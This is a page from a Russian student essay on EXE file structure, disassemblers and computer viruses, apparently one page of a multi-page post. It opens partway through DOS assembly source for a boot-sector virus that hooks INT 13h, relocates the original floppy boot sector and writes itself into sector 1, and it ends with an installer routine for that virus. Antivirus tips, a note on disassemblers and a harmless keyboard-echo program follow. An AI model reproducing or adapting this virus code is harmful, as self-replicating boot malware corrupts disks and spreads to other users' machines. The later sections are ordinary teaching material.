Реферат: Семантический анализ структуры EXE файла и дисассемблер (с примерами и исходниками), вирусология
shl cx,1 ; умножим на 2
xor dx,dx ; dx=0
div cx ; поделим DX:AX на CX
pop cx ; вытащим CX из стека - там число секторов на
; дорожке было
push ax ; запомним частное от предыдущего деления
mov ax,dx ; в AX занесем остаток от деления
xor dx,dx ; DX=0
div cx ; поделим еще раз
mov dh,al ; DH=номер головки
mov cl,dl ; CL=номер сектора
pop ax ; выкинем AX
mov ch,al ; CH=номер дорожки
inc cl ; прибавим к нему 1
pop ax ; AX=бывшее DX - там была сторона и номер
; дисковода
mov dl,al ; номер в DL
mov cs:floppy_sect,cx ; то что получилось запомним
mov cs:floppy_head,dh
;---------all found dh,cx rules---------
mov ax,0301h ; записать старый бут куда надо
int 0e0h
jc exit_boot_work ; если была ошибка - прекратить работу
; чтобы не убить диск совсем
; можно этого и не делать, едва ли что
; случится - вероятность того что вычисленный
; нами сектор BAD очень низка, но...
push cs
pop es
lea di,table ; скопируем из бута в свое тело таблицу
mov si,bx ; параметров диска
add si,offset table ;
mov cx,4ch-3 ;
rep movsb ;
push cs
pop es
mov ax,0301h ; запишемся в бут-сектор
xor bx,bx
mov cx,0001
xor dh,dh
int 0e0h
exit_boot_work:
pop es ds ; восстановим все что убили
popa
get_out:
popf ; и флаги обязательно
int_exit:
retf 2 ; выход из прерывания
;-------------data block--------------
floppy_sect dw 2f08h
floppy_head db 01
shit dw 0
org 510
sign dw 0aa55h ; чтобы не выдавали сообщения NDD и прочие...
; это просто метка системного сектора
; ----- Инсталлятор вируса в бут дискеты -----
install:
mov cs:[0000],4aebh
mov byte ptr cs:[0002],090h ; нужная команда
push ds
xor ax,ax
mov ds,ax
mov ax,ds:[13h*4]
mov ds:[0e0h*4],ax
mov ax,ds:[13h*4+2]
mov ds:[0e0h*4+2],ax
mov word ptr ds:[13h*4],offset int13
mov ds:[13h*4+2],cs
pop ds
push cs
pop es
mov ax,0201h
mov cx,0001
mov dx,0000
mov bx,offset our_buffer
int 13h
xor ax,ax
mov ds,ax
mov ax,ds:[0e0h*4]
mov ds:[13h*4],ax
mov ax,ds:[0e0h*4+2]
mov ds:[13h*4+2],ax
mov ax,4c00h
int 21h
our_buffer:
end start
Существуют очень много вирусов, под разные операционные системы, имеющие различные цели, написанные на разных языках высокого и низкого уровней.
МЕТОДЫ БОРЬБЫ С ВИРУСАМИ.
Почему-то многие считают, что антивирус может обнаружить любой вирус, то есть, запустив антивирусную программу или монитор, можно быть абсолютно уверенным в их надежности. Дело в том, что антивирус - это тоже программа, конечно, написанная профессионалом. Но эти программы способны распознавать и уничтожать только известные вирусы. На 100% защититься от вирусов практически невозможно (как если бы, пользователь меняется дискетами с друзьями, а также получает информацию из других источников, например из сетей). Если же не вносить информацию в компьютер извне, заразиться вирусом невозможно - сам он ни когда не родится.
Наиболее
широкое распространение по борьбе с вирусами получили такие программы как DrWeb
и AVP. Благодаря своим новейшим детекторам, они могут обнаружить любые вирусы -
как самые старые, так и только что появившиеся. Всегда нужно проверять файлы,
попадающие на компьютер. Любой из них может быть заражен вирусом, это нужно
помнить. Стараться никогда не давать работать посторонним на вашем компьютере -
именно они
чаще всего приносят вирусы. Особое внимание следует уделять играм -
чаще всего вирусы распространяются именно так. Новые игры и программы всегда
нужно проверять на вирус.
4. Дисассемблер
Когда готовый программный продукт, можно будет редактировать, переделывать по своему желанию, увидеть исходное написанной программы – это называется дисассемблированием.
Существуют множество готовых программ-дисассемблеров, такие как: Hex-редакторы, Win32Dasm, DASM v3, Dasm048 (для 486 процессоров), DASM6208 и т.д. Но недостатки всех этих дисассемблеров в том что в них не указывают например директивы (Директивы этой группы предназначены для управления видом файла листинга. Все директивы являются парными — это означает, что если одна директива что-то разрешает, то другая, наоборот, запрещает), а так же все они не способны полностью восстановить исходное программы. Чтобы вносить изменения в программу нужны достаточно хорошие знания ассемблера.
6. Программы
1) Программы выполненная на ассемблере. Запустив программу можно вводит до 256 символов и одновременно выводить на экран(аналогичность команды DOS-“copy con”). Выход клавишей ENTER. Здесь так же можно изменять вид экрана, цветовую палитру, прокрутку экрана, размер курсора.
page 60,132 ;Вывод символа и его скэн кода
model small
title Пробная программа
sseg segment para private 'stack'
dw 32 dup('??')
sseg ends
dseg segment para private 'data'
maska db 30h
KSIM DB 3
ROW DB 0
COL DB 0
SIM DB ' '
SCAN DB ' '
CHISLO DB ' '
STRSIM DB 100 DUP(' ')
dseg ends
cseg segment para private 'code'
assume ss:sseg,ds:dseg,cs:cseg,es:nothing
sum proc far ;Начало программы
push ds
sub ax,ax
push ax
mov ax,dseg
mov ds,ax
MOV AH,00H ;Установка 64-цветного режима
INT 10H
MOV AX,0600H ;Полная прокрутка экрана
MOV BH,07
MOV CX,0000
MOV DX,184FH
INT 10H
MOV AH,01 ; Установка размера курсора
MOV CH,06
MOV CL,07
INT 10H
MOV KSIM,0
MOV ROW,00 ; Задание начальных значении
MOV COL,00
MOV SI,0
MOV KSIM,10
M:
MOV AH,02; Установка курсора
MOV BH,00
MOV DH,ROW
MOV DL,COL
INT 10H
MOV AH,00 ;Ввод символа с клавиатуры
INT 16H
MOV STRSIM[SI],AL
SUB AH,28 ; KLAVISHA ENTER (exit)
JZ M1 ;Переход если ноль
MOV AH,09H ; Вывод очередного символа в позицию курсора
MOV AL,STRSIM[SI]
MOV BH,00
MOV BL,212
MOV CX,1
INT 10H
ADD COL,1
ADD SI,1
INC KSIM
JMP M ;Безусловный переход
M1:
ret ; Возврат из подпрограммы(RET-optional pop-value)
sum endp
cseg ends
end sum
2) Исходник программы дисассемблер выполненный на паскале:
Страницы: 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17